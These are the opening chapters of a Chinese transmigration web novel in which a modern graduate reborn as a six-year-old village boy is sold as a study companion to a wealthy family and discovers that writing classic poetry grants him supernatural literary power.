《让你当书童,你成大夏文圣》 第1章 下河卢璘 下河村,卢家。 “怎么不把你们儿子卖了,就知道欺负我们二房是吧!” 一道带着哭腔的女声,在卢璘耳边响起。 卢璘迷迷糊糊地睁开眼,脑袋里一团浆糊,一阵如潮水般的记忆突然袭来,猛然冲击他的脑袋。 大脑的一阵刺痛,让卢璘脚下不稳,手里下意识地用劲。 李氏被卢璘掐了一下抱着的大腿,有些吃痛,低头一看,儿子卢璘晃晃悠悠的站立不稳,以往那双乌黑透亮的大眼此刻满是迷茫。 李氏俯身一把抱住卢璘,双眼带泪,心疼极了。 “我可怜的儿啊,娘就不该生你到这世上来遭罪。” 李氏一边说,一边用粗糙的手在卢璘脑袋上小心翼翼地抚摸。 一阵头痛欲裂过后,卢璘这才吸收完脑袋里的记忆,抬头打量起眼前的环境。 一间还算亮堂的房间,摆了张大桌子,卢家人围桌而坐。 自己被母亲李氏护在身后。 “我这是穿越了?他也叫卢璘,六岁稚童,卢家二房长子,母亲李氏,有个三岁的妹妹,父亲卢厚前些日子摔断了腿....” “秋粮歉收,县里催缴剿匪捐,要缴一大笔钱,否则摊壮丁服役.....” “卢家三代在地里刨食,根本没有余钱摊派,大房大伯以读书为由,不能服役,三房小叔是老幺,祖父祖母疼爱得紧..” “唯有二房夹在中间,姥姥不疼舅舅不爱,加上父亲卢厚性子敦厚,沉默寡言,可摔断了腿也不能服役。” 所以,只能沦落到卖儿鬻女求活的境地。 “这什么天崩开局?”卢璘神情恍惚。 一觉醒来,自己居然从北大汉语言硕士毕业生成了一个穿开裆裤的稚童。 而且马上就要面临被卖去当下人的命运? 一阵穿堂风吹过,卢璘感觉下半身凉飕飕的,低头一看,QQ毫无遮挡地袒露在空气中。 开裆裤? 二十多岁的心理年龄让卢璘下意识夹紧了双腿,耳边突然传来一阵咳嗽声。 抬头一看,坐在桌子正中的祖父卢老爷子年过半百,身子看上去还算硬朗,手里拿着一杆旱烟,眉头紧绷。 卢老爷子长长地吐出一道烟气,望向李氏。 “老二家的,这也是没办法的事,日子总要过,今年的光景你也知道,咱们一大家子真多口人,能吃饱饭活命就算不错了。” “再说让璘儿去柳家是做书童陪读,未尝不是一条出路。” “你不是一直想让璘儿开蒙读书吗?柳家有自己的私塾,柳老爷还是举人出身,咱们签的又是活契,十年或者通过了县试就能赎身。” 说完,卢老爷子目光转向卢璘,见往日性子活泼闹腾的孙儿卢璘此刻躲在李氏身后小心翼翼的样子,心里也忍不住叹气。 平时虎头虎脑的乖孙,也被吓成了这个样子。 要不是日子真过不下去,卢老爷子又怎么忍心把自己的亲孙送去当书童。 可不送,家里拿不出摊派的这笔钱,二房又摔断了腿,大房要读书考取功名,三房性子放荡,去服役指不定闹出更大的祸。 只能出此下策,找个孙儿送去柳家,换一笔钱过了这个坎。 大房长孙超了年纪,已经开始蒙学,三房又还小,唯一合适的就是二房卢璘了。 哎,要怪就怪这世道年岁,把人逼到这个境地。 唯一的指望就是大房今年能够考取功名,免了徭役,以后的日子才能好起来。 李氏闻言暗自垂泪,默默地把身旁的卢璘抱得更紧了。 这可是自己身上掉下来的肉啊,才六岁就要骨肉分离,是个人都难以承受。 而且说是签得活契,十年后赎身,可十年后是什么样,谁又说得准呢。 再说通过了县试能赎身,这个条件更加苛刻。 他大伯考了一辈子,都还只是个童生,儿子尽管打小聪慧,也不是文曲星下凡,县试哪有这么简单。 李氏擦干眼泪,抬头正好看到丈夫卢厚一言不发,心里本就憋着一股气,此刻更是火大。 “你这个天杀的啊,老娘嫁给你没过一天好日子不说,连自己的儿子都不能护住。” “你就能忍心看着璘儿去给人当下人啊,他才六岁啊,连自己都照顾不好,怎么能服侍人啊!” “都怪你这个天杀地摔断了腿,怎么不摔死你啊。”李氏带着哭腔,一股脑地把火发泄在卢厚身上。 发泄完,李氏看着丈夫卢厚眼眶湿润,脸色因失血苍白,却任由自己发泄的样子,心里一阵后悔。 卢老爷吧嗒吧嗒地吸着焊烟,等二房李氏狠狠的发泄一通后,才看向二房。 “老二家的,你怎么说?” 卢厚抬头望向卢老爷子,喉咙像堵住了。 转头看了眼躲在妻子身后的儿子和一旁不断抹眼泪的妻子,心像被生生撕成两半。 他伸手摸了摸被布条和木板胡乱包着的断腿,钻心的疼。 强忍着剧痛,卢厚艰难挤出一句话。 "爹..全凭您做主。” 几个字刚出口,卢厚低下了头,不敢再看儿子和妻子一眼。 世道艰难,自己又断了腿,不能服役,三两银子摊牌家里根本拿不出来。 卢厚的心里满是对自己的愤怒,保不住儿子,枉为人父,没让妻子过上好日子,也不是好丈夫。 “那就这么定了。”卢老爷又看了一眼孙儿卢璘,暗自摇头。 被母亲李氏护在身后的卢璘心里默默地叹了口气。 这就是吃人的封建社会啊! 几两银子逼着人卖儿鬻女,艰难求活。 自己的命运就这么三言两语被敲定了。 封建礼教盛行的时代,父为子纲,大夏朝更是以孝治天下。 没分家之前,一家之主就是天,连父亲卢厚都无法反抗,更别说他一个六岁稚童了。 卢璘虽然藏着远超这个时代的璀璨知识,但也不敢有半点出格的表现。 前些日子,村口老王头因为说了几句梦话,被强行灌了一大碗符纸烧成灰搅拌的水。 邻村张二麻子在县城里学胡姬说话,回村拽了几句,被村老当成鬼上身,绑在柱子上暴晒了几天才算完事。 一个人怎么可以对抗一整个时代的规则呢? 哪怕卢璘腹中藏万卷,清楚了当下的处境,出于谨慎,也不敢冒进。 不过有一点让卢璘很安心。 只要这个时代是读书人的时代,是儒家治理天下。 那一切都是小事。 以卢璘的眼界、学识和迥异于这个时代思考问题的方式,以及凝结了几千年的智慧结晶。 哪怕改变不了书童的命运。 也能走出一条通天大道。 第2章 读书人的世界 月明星稀。 大院左侧厢房里。 已经见底的灯盏里飘着一丝油星子,勉强在墙壁上照出一长两短三个影子。 父亲卢厚一只腿架在凳子上,这个姿势能让断腿舒服一点,手上没闲着,做着简单的木工活计。 泪痕未干的李氏手里的针线在昏暗的油灯下穿梭,一针一线,密密麻麻。 “璘儿,到了柳家,要机灵点。” “见人要喊,手脚要勤快,主家让你做什么,你就做什么。” “别跟人犟嘴,尤其是主家少爷,他打你骂你,你都得忍着,知道吗?” 李氏的声音很低,专心缝补的同时,不忘耐心交代。 这些都是庄户人家在这世道里摸爬滚滚总结出的活命法子,简单却实用。 卢璘安静地看着母亲缝补,看她手指被针尖戳破,渗出一小点血珠,却浑然不觉,只是用嘴吮了一下,又继续低头缝补。 一股暖流从卢璘心底涌起,这是前世作为孤儿卢璘不曾体会过的温暖。 是贫家,也是暖心窝。 他伸出小手,轻轻拉了拉李氏的衣角。 “娘,你别哭了。” “等我去了柳家,每个休沐日都跑回来看你,给你和爹带县里的桂花糕吃,咱们偷偷藏起来,上次我就看到奶奶偷摸给了三婶一盒桂花糕。” 稚嫩的童音带着一股认真劲,让李氏手里的动作一顿。 她抬起头,看着儿子故作轻松的小脸,那双乌黑的眼睛里映着灯火,明亮得让人心疼。 “噗嗤。” 李氏被逗笑了,可笑意刚到嘴角,眼泪就又不争气地涌了出来,比刚才流得更凶。 她一把将卢璘搂进怀里,下巴抵着他的小脑袋,哽咽着说不出话来。 这可是自己身上掉下来的肉啊! 这么小就这么懂事,还知道安慰自己,可马上却要和自己骨肉分离。 一直沉默着做木工活的卢厚,手里的刻刀不知何时停了下来。 他看着相拥的妻儿,眼眶微微泛红,放下手里的木料,粗糙的大手在满是补丁的裤子上用力搓了搓。 “璘儿,回头到了县里,爹也会去看你的。” 卢璘从母亲的怀里抬起头,轻轻推开母亲,小小的身子站得笔直,脸上的神情不再是孩童的耍宝,而是前所未有的郑重。 “爹,娘,你们别这么难过。” “说不定,儿子我去了柳家,跟着读书,将来考个秀才回来呢。” 这话一出,屋子里的悲伤气氛微微凝固。 李氏愣愣地看着儿子,随即笑着摇头。 “我的傻儿啊,你当秀才是地里的大白菜,说考就考上啊?” “你大伯读了快二十年书,头发都熬白了,如今还只是个童生呢。” 在李氏朴素的认知里,秀才已经是天上的文曲星,是他们这种泥腿子想都不敢想的大人物。 卢璘没有反驳。 是啊,对别人来说科举确实是难如登天。 可我的脑子里,装着的是一个传承了几千年,从《诗经》、《楚辞》到唐诗宋词,从诸子百家到明清小说,无数先贤智慧凝结的璀璨文明。 八股注解、策论、历代状元殿试试卷等等烂熟于心。 随便拿出一点,都足以在这个时代惊世骇俗。 李氏见儿子不说话,只当他是在说胡话,却还是忍不住顺着他的话头往下想,脸上露出了一丝向往。 “不过,你要是真能考上秀才,那娘可就跟着你沾大光了。” “听村里老人说,秀才老爷见了县官都不用下跪,家里的田地赋税,徭役杂派,全都能免了。” 说到这里,李氏的语气里带着敬畏。 “而且,真正的秀才老爷,那都是有真本事的,可不是光会识字那么简单。” “他们笔下能生花,一口浩然正气,能让妖邪退避。听说厉害的,文章写出来,都能引动天地异象,那才是真正的文曲星下凡呢!” “天地异象?” 卢璘闻言回过神来,整个人都愣住了。 他一直以为这只是一个普通的古代封建社会,可李氏的话,一下为他打开了一扇通往新世界的大门。 读书,居然能拥有超凡的力量? 不是比喻,不是夸张,而是真实存在的力量! 一股难以言喻的激动与战栗,瞬间从他的尾椎骨窜上天灵盖。 如果诗词歌赋,经义策论,在这个世界真的能化为惊天动地的力量。 那自己…… 又能走出一条何等波澜壮阔的通天大道? 《论语《道德经》等诸子百家经典.... 兵家奇书《孙子兵法》... 千古绝唱《洛神赋》 李白杜甫的传世经典,孤篇压全唐的《春江花月夜》 以及千古第一雄文《滕王阁序》。 如此种种,不足而叙,又会爆发出何等惊天伟力? 卢璘低着头,心里却有种莫名的力量在激荡。 这就是读书人的世界吗? ........... 翌日清晨,天色刚蒙蒙亮。 整晚未眠的卢璘顶着两个大大的黑眼圈,眼神却前所未有的明亮。 自从得知超凡的存在,卢璘昨晚思考了一晚上。 思考的内容很多很杂,有对未来道路的思考,也有各种猜想和验证。 既要验证脑海里的知识能否真正转化的超凡力量。 也要验证自己是否具备驾驭它的能力。 其次,关于路该怎么走,也有了一些方向。 他一个六岁稚童,突然展现出远超常人的才华,必然会引来旁人的注意,甚至觊觎。 低调,仍旧是目前最主要的生存法则。 匹夫无罪,怀璧其罪,放在哪个时代都是颠之不破的准则。 这么看来,去柳家当书童还真是不错的契机。 同时也是一个接触这个世界读书人体系的绝佳机会。 以书童为跳板,再谨小慎微的一步步往上爬。 正想着,李氏端着一盆热水进来,看到儿子一副发傻呆愣的模样,心里猛地一抽。 她以为儿子是为即将到来的分离而彻夜难眠,心中顿时悔恨交加。 “都怪娘,昨晚不该跟你说那些的。” 李氏放下木盆,用温热的布巾轻轻擦拭着卢璘的小脸,声音里满是自责和心疼。 脸颊被李氏揉得生痛,但卢璘却细细感受这个过程。 等李氏松开手后,才冲她露出笑容。 “娘,我没事。” “傻小子,就知道傻乐...” 第3章 文位和才气 简单收拾完后,李氏把早饭端了过来。 一家人默默围坐在桌前,早饭一如既往地简单。 一锅稀得能照见人影的糙米粥,一碟黑乎乎的咸菜疙瘩。 唯一的不同,是卢璘的破口碗里,多了一个白生生的煮鸡蛋。 以往这种好东西,都是大房读书的大伯,或是三房受宠的小叔才能偶尔尝到。 卢璘心不在焉地吃完碗里的粥,又小心翼翼地剥开鸡蛋,小口小口地吃着。 他吃得很慢,却很仔细,一点都不敢浪费。 吃完最后一口,卢璘把碗一推,马不停蹄地就往门外跑去。 “璘儿,别跑远了,当心点!” “别去水边玩,早点回来!” 卢璘头也不回地挥了挥小手,一转眼人就已经消失在院子门外。 值得一提的是,今早起,卢璘的裤子不再是迎风招展的开裆裤。 昨晚,他用尽了一个六岁孩童所能表现出的最大执拗,强烈要求母亲李氏连夜给补上了。 开什么玩笑。 一个心理年龄二十多岁的成年人,怎么可能还忍受得了穿开裆裤。 万一有个意外,岂不是要面临QQ一键卸载的风险。 一路小跑,卢璘来到了村头的小溪边。 这个点,小溪边看不到半个人影。 卢璘环视一圈,找了棵老树做掩盖,随手捡起一根粗细合适的树枝,在老树底下一块湿润的泥地上蹲了下来。 脑海中,那片由几千年璀璨文化汇成的知识海洋正在汹涌澎湃。 他想写的东西太多了。 可当他挥动树枝,准备落笔时,却明显感觉到了不对劲。 记忆在脑中无比清晰,每一个字的笔画顺序都分毫不差。 可他手中的树枝却重若千斤。 一股无形的力量仿佛从四面八方涌来,死死束缚着他的手腕,让他每写一笔都异常艰难。 仅仅是在泥地上划出一个最简单的“道”字,就耗尽了他全身的力气,却怎么都写不全。 连“道”字一半的“首”都未能竟全功。 不行,这绝对不对劲。 卢璘的心里一沉,他换了个角度,试图绕开那股无形的阻力,可那股力量却如影随形,仿佛与天地融为一体,根本无从下手。 难道是《道德经》的层次太高,以自己这六岁稚童的身躯,根本无法承载其万一? 卢璘深吸一口气,强迫自己冷静下来。 那就换一个。 他脑海中闪过苏轼的千古名篇。 《赤壁赋》。 这篇文章的气魄同样雄浑浩荡,但相较于阐述天地至理的《道德经》,应该会容易一些。 卢璘凝神静气,再次举起了手中的树枝。 这一次,他将目标从一个“道”字,换成了“壬戌之秋,七月既望”。 第一个字,“壬”。 写得还算顺利,只是略微感觉有些吃力。 第二个字,“戌”。 同样没有遇到太大的阻碍。 卢璘心中一喜,看来自己的猜测是对的。 可当他提气运笔,准备一鼓作气写下第三个字“之”的时候,异变陡生。 一股比刚才强大数倍的阻力凭空出现,仿佛有一只无形的大手,死死攥住了他握着树枝的手腕。 那个“之”字,明明就在他的脑海里,就在他的笔尖前,却仿佛隔着一道无法逾越的天堑。 他用尽了全身的力气,小脸憋得通红,手臂上的青筋都微微凸起。 手中的树枝却纹丝不动。 怎么都写不出来。 “咔嚓。” 一声脆响,那根被他灌注了全身力气的树枝,竟从中间应声折断。 卢璘松开手,半截树枝掉落在泥地上。 他死死地盯着地上那两个歪歪扭扭的字,眉头紧皱。 连《赤壁赋》都不行吗? 难道是自己想错了? 这个世界的超凡之力,跟自己脑海中的那些诗词歌赋,根本就不是一回事? 还是是自己的方法不对,还是说赤壁赋的等级也太高了? 他再次在脑海中飞速筛选。 从唐诗宋词,到元曲杂剧,无数璀璨的篇章在脑海里流淌。 如果说《道德经》和《赤壁赋》是日月,那自己就先从萤火开始。 他需要一首足够简单,又足够有力量的诗。 有了。 一首诗从记忆的角落里跳了出来。 这首诗论辞藻,论意境,都远远比不上那些千古名篇,甚至可以说是有些直白粗浅。 但它却最适合眼下的自己。 卢璘重新捡起一根树枝,在另一片平整的泥地上蹲下。 这一次,他没有急着动笔,而是闭上眼睛,在心中反复默念那首诗。 “天子重英豪,文章教尔曹。” “万般皆下品,惟有读书高。” 《神童诗》。 一首最能代表读书人志向,也最符合这个时代价值观的启蒙诗。 他一个六岁的稚童,即将被送去做书童,写下这首诗,再合理不过。 当他再次睁开眼时,眼中的迷茫与失落一扫而空。 这一次,没有感受到之前那么强阻力。 手中的树枝仿佛成了自己手臂的延伸,笔画在湿润的泥地上行云流水般划过。 当最后一个“高”字的最后一捺落下时。 嗡。 一声轻微的嗡鸣,仿佛从灵魂深处响起。 卢璘只觉得脑海中轰然一震,眼前的一切景象都开始变得模糊。 紧接着,一卷古朴的竹简,在他空无一物的精神世界里,缓缓展开。 竹简之上,一行行清晰的字迹凭空浮现。 【卢璘,平安县人,庚子年生】 【文位:蒙生】 【才气:百缕】 【自创经典:《神童诗》】 【《神童诗》:级别:出县,特效:悟性提高,对经史子集,文章诗词等经典,研读效率翻倍,幼童听众有概率觉醒“早慧”天赋,效果持续三日。】 原来如此。 看着竹简上的信息,卢璘瞬间明白了之前一切的缘由。 不是他写不出《道德经》,也不是他无法复刻《赤壁赋》。 而是他没有才气。 才气,这才是这个世界文道的根基,是撬动天地之力的唯一杠杆。 没有才气,哪怕他胸藏万卷,也只是一个空有宝山而不得其门而入的凡人。 而刚才,他写下那首《神童诗》,因为契合了他当下的身份、处境与志向,被这方天地的文道规则所认可,才算是真正意义上的自创经典。 也因此,天地规则降下了奖励。 一个最基础的文位,“蒙生”。 以及一百缕作为启动资金的“才气”。 卢璘低头,看着地上歪七斜八的《神童诗》,只觉头脑比往常更加清晰了。 随意地挥动了胳膊,都能感觉身体比之前更结实。 这就是才气的力量吗? 能够微弱地提升身体素质。 第4章 柳家来人 一百缕才气。 一个最低级别的文位。 这就是自己在这个世界安身立命的根基了。 卢璘能清晰地感觉到,那百缕才气如同温顺的溪流,在自己的四肢百骸中缓缓流淌,滋养着这具略显单薄的幼童身躯。 原本还有些困倦的大脑,此刻清明无比。 浑身上下都充满了用不完的力气,仿佛轻轻一跳,就能比平时高出半个头。 这还仅仅是一百缕才气带来的微末变化。 那要是千缕,万缕呢? 卢璘的心脏不争气地狂跳起来,攥了攥小拳头,感受着那股新生力量。 同时忍不住想再试试,有了一百缕才气,能不能支撑他写出一篇新的经典。 哪怕不是《道德经》那样的无上宝典,也不是《赤壁赋》那样的千古雄文。 来一首简单的唐诗绝句,总可以吧? 正当他在脑海中筛选着合适的诗篇时,一道略显咋呼的童音从不远处传来。 “璘弟!” “你跑这儿来干嘛,爷奶找你半天了!” 卢璘循声望去,一个穿着一身破旧灰色短褂的男童,正气喘吁吁地朝他跑来。 长房的堂哥,卢观。 卢观是大伯的独子,今年八岁,已经在村里的私塾蒙学一年了。 “柳家来人了!” 一脸鼻涕泡的卢观跑到跟前,一手撑着膝盖,上气不接下气地说道。 “说要看看你。” 来了吗? 这么快? 昨天刚决定的事,今天柳家就上门考察了。 卢璘有些意外,但脸上却不动声色,依旧是那副六岁孩童该有的懵懂模样。 不过成年人的思维,让他下意识地想了解更多有效信息,随口问道: “柳家来了几个人?来的是谁?” 卢观随手擦了擦滑到嘴边的透明长虫,吸溜一声,长虫缩回黑乎乎的鼻孔里,看得卢璘发毛。 “来了好几个呢,穿得可气派了,那衣服滑溜溜的,比村长过年穿得还要好。” “说是来干嘛的?”卢璘追问道。 “不知道啊。” 卢观理所当然地摇了摇头,然后不耐烦地催促道。 “我哪知道那么多,就听见爷说,是柳家的人,来接你的。” “你快点跟我回去吧,去晚了小心爷揍你。” 看着卢观那一脸我只是个传话的,别问我的表情,卢璘在心里默默叹了口气。 也是,跟一个八岁的孩子,又能问出什么有用的信息呢。 不再多问,卢璘默默地转过身,用脚底在刚才写过字的泥地上来回蹭了几下。 湿润的泥土很快就变得模糊一片,将那首《神童诗》的痕迹彻底掩盖。 做完这一切,他才抬起头,冲着卢观点了点头。 “走吧。” 回去的路上,两人一前一后走着。 走着走着,前面的卢观忽然停下脚步,回过头,一脸惊奇地上下打量着卢璘。 “咦?” “璘弟,奶最近是不是偷偷给你吃啥好东西了。” 卢璘心里一动,面上却茫然地摇摇头。 “不对啊。” 卢观凑近了些,伸出手在两人头顶比画了一下,脸上的惊讶更浓了。 “你怎么好像长高了?都快跟我差不多高了。” 何止是差不多高,两人并排而站,卢璘隐隐都高出一点 才气的滋养,居然这么快就显现出来了吗? 卢璘心中了然,嘴上却用一种极其认真的童音,一本正经地胡说八道。 “因为我早上喝了三碗粥。” “娘说了,小孩子多吃饭才能长高高,一碗粥长一点,三碗粥就长三点。” ......... 两人一前一后,朝着家的方向走去。 刚踏进破旧的院门,卢璘的脚步就下意识一顿。 院子里多了几个陌生的身影。 是几个身材壮硕的汉子,穿着统一的青色短打,腰间束着宽布带,站在那里,身板挺得笔直。 他们身上的衣服虽然样式简单,但布料厚实,没有一个补丁。 这应该就是柳家的家丁了。 卢璘心里有了判断,连下人都养得如此结实,看来柳家确实家底丰厚。 正房里,隐约有说话声传来。 卢璘放慢了脚步,侧耳倾听。 一道他再熟悉不过的声音传入耳中,正是大伯。 “说来也巧,在下去县里与几位同窗游学,恰好听说柳家要为少爷寻一位书童。” “当时就想到了我这二房的侄儿,年龄正好,又是咱们本地的良家子。” “送去柳府这等诗书传家的大户,既能跟着开蒙,又能学学规矩,这可是天大的好事啊。” 里面传来一阵沉默,没有人接话。 紧接着,大伯卢安又是一声长长的叹息。 “说来也是可惜了。” “本来犬子是最合适的,模样周正,人也机灵,只可惜啊,年龄超了些,又已经在本村蒙学,不然这等天大的好事,怎么也轮不到旁人。” 屋外,卢璘完后,心里一片清明。 原来柳家这么快上门,是自己这位大伯在后面推了一把。 他这么着急吗? 卢璘心里闪过一丝奇怪。 不等他细想,前面的卢观已经不耐烦地催促,一头扎进了正房大厅。 卢璘定了定神,也跟着迈步走了进去。 大厅里,卢家成员基本上已到齐,围桌而坐。 这种事放在任何年代都是大事。 卢老爷子坐在右侧主位,手里旱烟杆子稳稳地拿着,眉头紧锁,祖母卢老太太静坐在旁边。 母亲李氏站在卢厚身旁,眼睛红肿,紧紧抿着嘴唇,双手下意识地绞在一起。 父亲卢厚坐在凳子上,断了的腿架着,脸色苍白,低垂着头,不发一言。 大伯卢安则坐在离管事最近的位置,脸上挂着客套的笑容。 大伯母坐在他身边,附和着笑。 三叔三婶也没缺席,一看到卢璘和卢观进门,目光停留在卢璘身上许久,有些意外。 管事听到动静,抬眼望来。 他的目光第一时间就落在了进门的卢璘身上。 虽然穿着一身满是补丁的旧衣,但洗得干干净净,小身板站得笔直,一双乌黑的眼睛,透着一股说不出的灵气。 唇红齿白,好一个俊俏的孩童。 管事眼神里闪过一丝赞许,结合刚才卢安的话,下意识便以为这是卢安那个已经蒙学的儿子。 心里不禁暗道一声可惜。 随即,他的目光越过卢璘,看到了卢观。 只一眼,管事刚刚舒展的眉头就不着痕迹地皱了起来。 浑身脏兮兮的,脸上还挂着没擦干的泥印,黑乎乎的鼻孔里,鼻涕泡不停往外冒。 这就是要考察的书童? 管事眼底的欣赏瞬间消失得无影无踪,心里暗自摇头。 才相差两岁的堂兄弟,这差距也太大了。 第5章 破窑出青瓷 大伯一见卢璘和卢观一前一后地进来,连忙从椅子上起身,脸上堆满了笑,挥手就朝着卢璘招呼。 “快,璘儿,过来让管事好好瞧瞧。” 管事在两人一进门时,就已将他们瞧了个仔细。 对这个书童心里虽然有些不满意,但想着好歹是本地的良家子,也算勉强过得去,便点了点头。 “不用看了。” “当书童又不是选唱戏的角儿,是本地良家子,信得过就行。” 说完,他端起茶碗,目光却不自觉地又落在了那个干净俊俏的娃身上。 “除非有你儿子这么周正的模样,要不然大差不差。” 这话一出,大伯脸上的笑容瞬间僵住。 他刚刚还在管事面前吹嘘自己的儿子生得如何周正机灵。 没想到居然闹了个乌龙,让管事错把侄子当成自己儿子了。 他看了看身前站得笔直,一身灵气的侄儿卢璘,又扭头瞥了一眼还在吸溜鼻涕的亲儿子卢观。 自己都没眼看了。 才几天没见,自家这侄子怎么跟脱胎换骨了一样。 强忍着脸上的燥热与尴尬,卢安硬是挤出一个比哭还难看的笑,一把将卢璘拉到自己身前。 “管事说笑了,这…这个才是在下那侄儿。” 管事闻言,端着茶碗的手微微一顿,抬眼看向卢安。 看着卢璘那张俏生生的小脸就立在自己面前,管事再瞥了一眼旁边那个鼻涕邋遢的卢观,心里一下就乐了,同时差点没忍住骂娘。 这才是你侄子? 你刚才怎么好意思吹牛说你儿子比你侄子生得好的? 卢安尬笑着连忙推了推卢璘的后背。 “璘儿,快,给管事问好。” 卢璘上前一步,小小的身子微微一躬,声音清脆,不卑不亢。 “管事好。” 这一声清亮的童音,才让管事彻底反应过来。 原来这个俊俏的不像话的孩童,才是真正要选的书童。 心里的那点不快瞬间烟消云散。 管事放下茶碗,站起身来,走近了细细打量着卢璘。 年龄虽小,但骨相生得极好,眉眼周正,唇红齿白,皮肤都透着一股寻常农家孩子没有的白净。 他就那么笔直地站在那里,一身破旧的补丁衣裳,非但没有显得寒酸,反而衬得那股子灵气愈发夺目。 这哪是泥地里刨食的人家能养出的孩子。 分明是破窑里,烧出了一件上好的青瓷啊! 管事心里越看越满意,忍不住连连点头。 脸上的线条都柔和了许多,声音也放得轻柔,生怕惊着卢璘。 “好孩子,别怕。” “喊我王管事就行。” 管事习惯性地报上称呼,想了想又补充道。 “我是柳府外院的执事,负责考核书童的背景。” 卢璘闻言,抬起那双黑白分明的大眼睛,清澈的目光直直望进管事的眼里,小嘴一张,十分自然的开口: “王伯伯好。” 这一声王伯伯,比王管事要亲近得多,又不像寻常乡下野孩子那般不知分寸。 “哎,好,好孩子!” 王管事脸上的笑意更深了,忍不住连声应道。 坐在上首的卢老爷子看着眼前这一幕,心里五味杂陈。 他吧嗒抽了一口旱烟,望着自己这个孙儿,瞧着他这般乖巧伶俐,天真可爱,心头那股子不舍与愧疚又翻涌了上来。 这么好的一个孙儿,若不是这世道逼人,谁又忍心将他送去别人府上当下人。 卢老爷子重重叹了口气,默默地摇了摇头。 站在一旁的李氏,看到儿子这般懂事,更是心如刀绞。 这就像是自己身上的一块心头肉,被人当着面估价,夸赞,然后准备生生挖走。 她再也看不下去,猛地转过身,背对着众人,肩膀止不住地颤抖。 一直默不作声的大伯卢安,将王管事的所有反应都尽收眼底。 他心里门儿清。 卢璘没来之前,这位王管事惜字如金,连多说一句话都嫌费劲,更别提主动介绍自己的身份了。 可现在,他不仅主动开口,态度更是和善得不像话。 这显然是对卢璘满意到了极点。 卢安眼底精光一闪,心里立马想到了抬价。 卢璘喊完人,敏锐地察觉到了母亲情绪的异常。 他没有丝毫犹豫,迈开小短腿,径直走到李氏身边,伸出小手轻轻拉了拉她的衣角。 “娘,别哭,孩儿每个休沐都会回来看望您的,说不定也不用等十年,孩儿就考中秀才,还要给您争个诰命夫人。” 稚嫩的声音里没有哭闹。 李氏再也忍不住,眼泪汹涌而出,一旁的卢厚看着这一幕,布满老茧的手死死攥紧,却只能发出一声沉重的叹息。 卢安瞅准了这个时机,脸上恰到好处地露出一抹为难之色,对着王管事拱了拱手。 “王管事,您也瞧见了。” “我这侄儿,生得是真好,人又乖巧懂事,给府上少爷当书童,那真是再合适不过了。” 他话锋一转,长长叹了口气。 “就怕我这二弟和弟媳,他们……他们实在舍不得啊。” “要不然……这价格上,您看能不能再给提一提?也算……也算给我这苦命的弟弟弟媳一点安慰。” 王管事何等精明,一听这话,心里就跟明镜似的。 一下就听出了卢安想要坐地起价的心思。 心里闪过一丝不快,但目光落在卢璘那张灵气十足的小脸上,那点不快又被压了下去。 这次出来选书童,前前后后也看了七八个了,要么是呆头呆脑的,要么是油滑过头的,没有一个能入眼。 唯独眼前这个卢璘,模样、气度、谈吐,都是上上之选。 为了这么一个好苗子,多花点银子,倒也值当。 王管事心里迅速盘算了一番,随即大袖一挥,做出了决定。 “也罢。” “这孩子确实是个好的,看在你们家也不容易的份上,我做主,再加二两。” “一共五两银子,活契,十年后可赎身。” 五两银子! 这话一出,卢安脸上那股压抑不住的狂喜一闪而逝。 虽然他很快就用一副感激涕零的表情掩盖了过去,可那瞬间的眼神,却被一旁的卢璘捕捉得一清二楚。 卢璘的心里闪过一丝怪异。 这笔钱,不是用来给三房均摊剿匪捐的吗? 是为了让整个卢家渡过难关的救命钱。 大伯为何会高兴成这个样子? 第6章 银子分配 王管事话音刚落,大伯卢安的脸上就笑开了花,生怕这到嘴的肥肉再飞了,连忙一拍大腿。 “那敢情好,那敢情好!” 他搓着手,把三叔喊了过来,嘴里催促。 “这事可得找个保人,三弟,你去把村东头的李三叔喊来,他老人家最是公道。” 多了2两银子,三叔也止不住笑意,闻言点头,转身就往外走去。 没一会儿,他就拉着村里两个沾亲带故的乡邻进了院子,充当这次买卖的保人。 乡邻们看着这阵仗,心里都明白是怎么回事,眼神里带着几分同情,却也不好多说什么。 这世道如此,卖儿鬻女已是常态。 一张粗糙的麻纸铺在桌上,保人用劣质的毛笔,蘸着淡墨,歪歪扭扭地写下契约。 “……活契十年,纹银五两,两家情愿,绝无反悔……” 王管事扫了一眼,确认无误,便将一个装着红泥的印盒推到卢厚面前。 卢厚伸出的手,在半空中剧烈地颤抖着,他不敢去看妻子,更不敢去看儿子,只死死地盯着那张决定了儿子十年命运的薄纸。 李氏更是全程不敢看,双肩一抖一抖的。 卢厚一咬牙,将大拇指重重地按了下去。 一个鲜红又刺目的指印,烙在了纸上。 卢厚按完了,便是卢老爷,尽管心情压抑,但想到还需要这个救命钱度过难关,卢老爷闭着眼睛走完了流程。 王管事收好契约,动作很是爽快,从怀里摸出五块碎银,在桌上轻轻一推。 大伯麻利地拿过银子,冲王管事笑了笑,转头就把银子交给了卢老爷。 签好了契约,保人见状,识趣地拱手告辞。 王管事看着眼前这个从头到尾都异常安静的卢璘,心里愈发喜爱,声音也放得柔和。 “好孩子,契约已定,你也不必马上就走。” “我给你三天时间,在家里好好陪陪你爹娘,三天后,我再派人来接你。” 卢璘乖巧地点头,一副全听安排的模样。 “谢谢王伯伯。” 王管事笑着点头,把卢璘拉过来,继续交代一些事情。 大伯则和卢老爷,母亲李氏等人在一旁聊着,还没聊几句,便传来一阵压抑的争吵声。 “二弟妹,你这是什么意思?这钱是璘儿换来的,可也是为了咱们整个卢家!” “剿匪捐交了三两,还剩二两,我不过是借去游学,又不是不还了!” “借?说得好听!这二两银子是王管事看我们家可怜,特意多给的,是给我儿子的补偿!” “你拿去游学,什么时候还?拿什么还!”李氏声音带着哭腔。 大伯被噎得半晌说不出话,随即恼羞成怒,声音也拔高了八度。 “你一个妇道人家懂什么!” 他索性不再跟李氏纠缠,直接冲到了卢老爷子面前,扑通一声就跪下了。 “爹!儿子不孝,可这次游学非去不可啊!” “县里同仁的恩师要来讲学,据说会点拨下次县试的要点,儿子若是能去听上一听,下次县试,有七八成的把握能过啊!” 卢老爷子本就因为卖孙儿的事心烦意乱,此刻听闻长子这话,浑浊的眼睛里瞬间亮起了一道光。 秀才! 只要家里能出一个秀才,所有的苦难就都到头了。 转向李氏,紧皱的眉头略微舒展。 “老二家的!老大读书是头等大事,这事耽搁不起,这银子就先拿给老大用吧。” 在封建大家庭里,一家之主的话就是天。 按理说卢老爷开口了,李氏不听也得听,毕竟财政大权一直是卢老爷掌握着。 